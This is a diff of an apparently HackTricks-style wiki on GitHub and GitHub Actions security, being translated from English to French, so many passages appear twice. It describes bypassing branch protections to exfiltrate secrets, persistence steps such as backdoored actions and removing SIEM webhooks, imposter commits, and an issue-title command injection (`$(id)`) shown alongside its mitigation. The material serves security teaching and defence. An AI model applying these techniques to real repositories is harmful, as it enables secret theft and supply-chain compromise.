- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
## Contournement des protections des environnements
|
||||
|
||||
## Bypass Environments Protections
|
||||
Pour une introduction sur [**Github Environment, consultez les informations de base**](basic-github-information.md#git-environments).
|
||||
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
Dans le cas où un environnement peut être **accessible depuis toutes les branches**, il **n'est pas protégé** et vous pouvez facilement accéder aux secrets à l'intérieur de l'environnement. Notez que vous pourriez trouver des dépôts où **toutes les branches sont protégées** (en spécifiant leurs noms ou en utilisant `*`), dans ce scénario, **trouvez une branche où vous pouvez pousser du code** et vous pouvez **exfiltrer** les secrets en créant une nouvelle action GitHub (ou en en modifiant une).
|
||||
|
||||
Notez que vous pourriez trouver le cas limite où **toutes les branches sont protégées** (via le caractère générique `*`) il est spécifié **qui peut pousser du code vers les branches** (_vous pouvez spécifier cela dans la protection de branche_) et **votre utilisateur n'est pas autorisé**. Vous pouvez toujours exécuter une action GitHub personnalisée car vous pouvez créer une branche et utiliser le déclencheur de poussée sur elle-même. La **protection de branche permet la poussée vers une nouvelle branche, donc l'action GitHub sera déclenchée**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Notez que **après la création** de la branche, la **protection de la branche s'appliquera à la nouvelle branche** et vous ne pourrez pas la modifier, mais à ce moment-là, vous aurez déjà extrait les secrets.
|
||||
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
## Persistance
|
||||
|
||||
## Persistence
|
||||
- Générer **un token utilisateur**
|
||||
- Voler **des tokens github** à partir des **secrets**
|
||||
- **Suppression** des **résultats** de workflow et des **branches**
|
||||
- Donner **plus de permissions à toute l'organisation**
|
||||
- Créer des **webhooks** pour exfiltrer des informations
|
||||
- Inviter **des collaborateurs externes**
|
||||
- **Supprimer** les **webhooks** utilisés par le **SIEM**
|
||||
- Créer/modifier **Github Action** avec une **porte dérobée**
|
||||
- Trouver **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète**
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
### Commits d'imposteur - Porte dérobée via des commits de repo
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original sera créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler l'utilisation d'un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**.
|
||||
|
||||
Comme [**ceci**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
Pour plus d'informations, consultez [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
## Références
|
||||
|
||||
## References
|
||||
|
||||
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
- [Comment nous avons exploité CodeRabbit : d'un simple PR à RCE et accès en écriture sur 1M de dépôts](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
|
||||
- [Extensions Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
|
||||
- [Authentification avec une application GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
|
||||
- [Lister les installations pour l'application authentifiée](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
|
||||
- [Créer un jeton d'accès d'installation pour une application](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,3 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
# Gh Actions - Poisonnement d'Artifact
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -2,103 +2,96 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Understanding the risk
|
||||
## Comprendre le risque
|
||||
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
GitHub Actions évalue les expressions ${{ ... }} avant que l'étape n'exécute. La valeur évaluée est insérée dans le programme de l'étape (pour les étapes run, un script shell). Si vous interpolez des entrées non fiables directement dans run:, l'attaquant contrôle une partie du script shell et peut exécuter des commandes arbitraires.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Key points:
|
||||
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
|
||||
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
|
||||
Points clés :
|
||||
- L'évaluation a lieu avant l'exécution. Le script run est généré avec toutes les expressions résolues, puis exécuté par le shell.
|
||||
- De nombreux contexts contiennent des champs contrôlés par l'utilisateur selon l'événement déclencheur (issues, PRs, comments, discussions, forks, stars, etc.). Voir la référence sur les entrées non fiables : https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Le quoting du shell à l'intérieur de run: n'est pas une défense fiable, car l'injection se produit lors de l'étape de rendu du template. Les attaquants peuvent sortir des guillemets ou injecter des opérateurs via des entrées spécialement conçues.
|
||||
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Vulnerable workflow (triggered when someone opens a new issue):
|
||||
## Modèle vulnérable → RCE on runner
|
||||
|
||||
Workflow vulnérable (déclenché lorsqu'une personne ouvre une nouvelle issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
|
||||
If an attacker opens an issue titled $(id), the rendered step becomes:
|
||||
|
||||
Si un attaquant ouvre un issue avec le titre $(id), l'étape rendue devient :
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
|
||||
The command substitution runs id on the runner. Example output:
|
||||
|
||||
La substitution de commande exécute id sur le runner. Exemple de sortie :
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Pourquoi les guillemets ne suffisent pas :
|
||||
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
|
||||
- Les expressions sont évaluées en premier, puis le script résultant s'exécute. Si la valeur non fiable contient $(...), `;`, `"`/`'`, ou des retours à la ligne, elle peut modifier la structure du programme malgré vos guillemets.
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
|
||||
## Modèle sûr (shell variables via env)
|
||||
|
||||
Mitigation correcte : copiez l'entrée non fiable dans une variable d'environnement, puis utilisez l'expansion native du shell ($VAR) dans le script d'exécution. Ne la réinjectez pas avec ${{ ... }} dans la commande.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Remarques:
|
||||
- Évitez d'utiliser ${{ env.TITLE }} dans run:. Cela réintroduit le rendu du template dans la commande et entraîne le même risque d'injection.
|
||||
- Privilégiez le passage d'entrées non fiables via le mapping env: et référencez-les avec $VAR dans run:.
|
||||
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
## Surfaces déclenchables par un lecteur (à traiter comme non fiables)
|
||||
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
|
||||
Les comptes avec seulement la permission de lecture sur les dépôts publics peuvent quand même déclencher de nombreux événements. Tout champ des contextes dérivés de ces événements doit être considéré comme contrôlé par un attaquant sauf preuve du contraire. Exemples:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- discussion, discussion_comment (les organisations peuvent restreindre les discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
- pull_request_target (dangereux s'il est mal utilisé, s'exécute dans le contexte du dépôt de base)
|
||||
- fork (n'importe qui peut forker des dépôts publics)
|
||||
- watch (le fait d'ajouter une étoile à un dépôt)
|
||||
- Indirectement via des chaînes workflow_run/workflow_call
|
||||
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Les champs spécifiques contrôlés par un attaquant dépendent de l'événement. Consultez le guide de GitHub Security Lab sur les entrées non fiables : https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Practical tips
|
||||
## Conseils pratiques
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
- Minimisez l'utilisation d'expressions dans run:. Privilégiez le mapping env: + $VAR.
|
||||
- Si vous devez transformer une entrée, faites-le dans le shell en utilisant des outils sûrs (printf %q, jq -r, etc.), en partant toujours d'une variable shell.
|
||||
- Soyez particulièrement prudent lors de l'interpolation de branch names, PR titles, usernames, labels, discussion titles et PR head refs dans des scripts, des options en ligne de commande ou des chemins de fichiers.
|
||||
- Pour les reusable workflows et composite actions, appliquez le même schéma : mappez vers env puis référencez $VAR.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,58 +1,56 @@
|
||||
# Accessible Deleted Data in Github
|
||||
# Données supprimées accessibles dans Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Ces méthodes pour accéder aux données de Github qui ont été supposément supprimées ont été [**rapportées dans cet article de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
## Accéder aux données de fork supprimées
|
||||
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
1. Vous fork un dépôt public
|
||||
2. Vous committez du code dans votre fork
|
||||
3. Vous supprimez votre fork
|
||||
|
||||
> [!CAUTION]
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
> Les données commises dans le fork supprimé sont toujours accessibles.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
## Accéder aux données de dépôt supprimées
|
||||
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
1. Vous avez un dépôt public sur GitHub.
|
||||
2. Un utilisateur fork votre dépôt.
|
||||
3. Vous committez des données après qu'il l'ait forké (et il ne synchronise jamais son fork avec vos mises à jour).
|
||||
4. Vous supprimez l'ensemble du dépôt.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
> Même si vous avez supprimé votre dépôt, tous les changements apportés sont toujours accessibles via les forks.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
## Accéder aux données de dépôt privé
|
||||
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
1. Vous créez un dépôt privé qui sera éventuellement rendu public.
|
||||
2. Vous créez une version interne privée de ce dépôt (via le fork) et committez du code supplémentaire pour des fonctionnalités que vous ne rendrez pas publiques.
|
||||
3. Vous rendez votre dépôt "upstream" public et gardez votre fork privé.
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
> Il est possible d'accéder à toutes les données poussées vers le fork interne entre le moment où le fork interne a été créé et le moment où la version publique a été rendue publique.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
## Comment découvrir des commits de forks supprimés/cachés
|
||||
|
||||
The same blog post propose 2 options:
|
||||
Le même article de blog propose 2 options :
|
||||
|
||||
### Directly accessing the commit
|
||||
### Accéder directement au commit
|
||||
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
Si la valeur de l'ID de commit (sha-1) est connue, il est possible d'y accéder à `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
### Bruteforcer les valeurs SHA-1 courtes
|
||||
|
||||
It's the same to access both of these:
|
||||
C'est la même méthode pour accéder à ces deux :
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
Et le dernier utilise un sha-1 court qui est bruteforcable.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,263 +1,258 @@
|
||||
# Basic Github Information
|
||||
# Informations de base GitHub
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Structure de base
|
||||
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
La structure de base de l'environnement GitHub d'une grande **company** est de posséder un **enterprise** qui possède **several organizations** et chacune d'elles peut contenir **several repositories** et **several teams.** Les entreprises plus petites peuvent simplement **own one organization and no enterprises**.
|
||||
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
Du point de vue d'un utilisateur, un **user** peut être **member** de **different enterprises and organizations**. Au sein de celles-ci, l'utilisateur peut avoir **different enterprise, organization and repository roles**.
|
||||
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
De plus, un utilisateur peut faire **part of different teams** avec différents rôles au niveau enterprise, organization ou repository.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
Et enfin, **repositories may have special protection mechanisms**.
|
||||
|
||||
## Privileges
|
||||
## Privilèges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Enterprise owner** : Les personnes ayant ce rôle peuvent **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Cependant, elles **cannot access organization settings or content** sauf si elles sont nommées owner d'une organisation ou reçoivent un accès direct à un repository appartenant à l'organisation.
|
||||
- **Enterprise members** : Les membres des organizations détenues par votre enterprise sont **automatically members of the enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
In an organisation users can have different roles:
|
||||
Dans une organisation, les utilisateurs peuvent avoir différents rôles :
|
||||
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Organization owners** : Les organization owners ont **complete administrative access to your organization**. Ce rôle doit être limité, mais à pas moins de deux personnes dans votre organisation.
|
||||
- **Organization members** : Le rôle **default**, non-administratif pour les **people in an organization** est organization member. Par défaut, les organization members **have a number of permissions**.
|
||||
- **Billing managers** : Les billing managers sont des utilisateurs qui peuvent **manage the billing settings for your organization**, comme les informations de paiement.
|
||||
- **Security Managers** : C'est un rôle que les organization owners peuvent assigner à n'importe quelle équipe dans une organisation. Lorsqu'il est appliqué, il donne à chaque membre de l'équipe les permissions pour **manage security alerts and settings across your organization, as well as read permissions for all repositories** dans l'organisation.
|
||||
- Si votre organisation dispose d'une équipe de sécurité, vous pouvez utiliser le rôle security manager pour donner aux membres de l'équipe le minimum d'accès nécessaire à l'organisation.
|
||||
- **Github App managers** : Pour permettre à des utilisateurs supplémentaires de **manage GitHub Apps owned by an organization**, un owner peut leur accorder des permissions de GitHub App manager.
|
||||
- **Outside collaborators** : Un outside collaborator est une personne qui a **access to one or more organization repositories but is not explicitly a member** de l'organisation.
|
||||
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Vous pouvez **compare the permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
Dans _https://github.com/organizations/\<org_name>/settings/member_privileges_ vous pouvez voir les **permissions users will have just for being part of the organisation**.
|
||||
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
Les paramètres configurés ici indiqueront les permissions suivantes des membres de l'organisation :
|
||||
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
- Être admin, writer, reader ou n'avoir aucune permission sur tous les repos de l'organisation.
|
||||
- Si les membres peuvent créer des repositories private, internal ou public.
|
||||
- Si le forking des repositories est possible.
|
||||
- Si l'invitation d'outside collaborators est possible.
|
||||
- Si des sites public ou private peuvent être publiés.
|
||||
- Les permissions que les admins ont sur les repositories.
|
||||
- Si les membres peuvent créer de nouvelles teams.
|
||||
|
||||
### Repository Roles
|
||||
|
||||
By default repository roles are created:
|
||||
Par défaut les repository roles sont créés :
|
||||
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
- **Read** : Recommandé pour les **non-code contributors** qui veulent voir ou discuter votre projet.
|
||||
- **Triage** : Recommandé pour les **contributors who need to proactively manage issues and pull requests** sans accès en écriture.
|
||||
- **Write** : Recommandé pour les contributors qui **actively push to your project**.
|
||||
- **Maintain** : Recommandé pour les **project managers who need to manage the repository** sans accès à des actions sensibles ou destructrices.
|
||||
- **Admin** : Recommandé pour les personnes qui ont **full access to the project**, y compris les actions sensibles et destructrices comme gérer la sécurité ou supprimer un repository.
|
||||
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Vous pouvez **compare the permissions** de chaque rôle dans ce tableau [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Vous pouvez aussi **create your own roles** dans _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
Vous pouvez **list the teams created in an organization** dans _https://github.com/orgs/\<org_name>/teams_. Notez que pour voir les teams qui sont enfants d'autres teams, vous devez accéder à chaque parent team.
|
||||
|
||||
### Users
|
||||
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
Les users d'une organisation peuvent être **listed** dans _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
Dans les informations de chaque user, vous pouvez voir les **teams the user is member of**, et les **repos the user has access to**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
GitHub propose différentes façons de s'authentifier sur votre compte et d'effectuer des actions en votre nom.
|
||||
|
||||
### Web Access
|
||||
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
En accédant à **github.com** vous pouvez vous connecter en utilisant votre **username and password** (et potentiellement un **2FA**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **private key associée d'effectuer des actions en votre nom.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Vous **cannot impersonate the user with these keys** mais si vous ne les utilisez pas il peut être possible que vous **get discover for sending commits without a signature**. En savoir plus sur le [vigilant mode ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
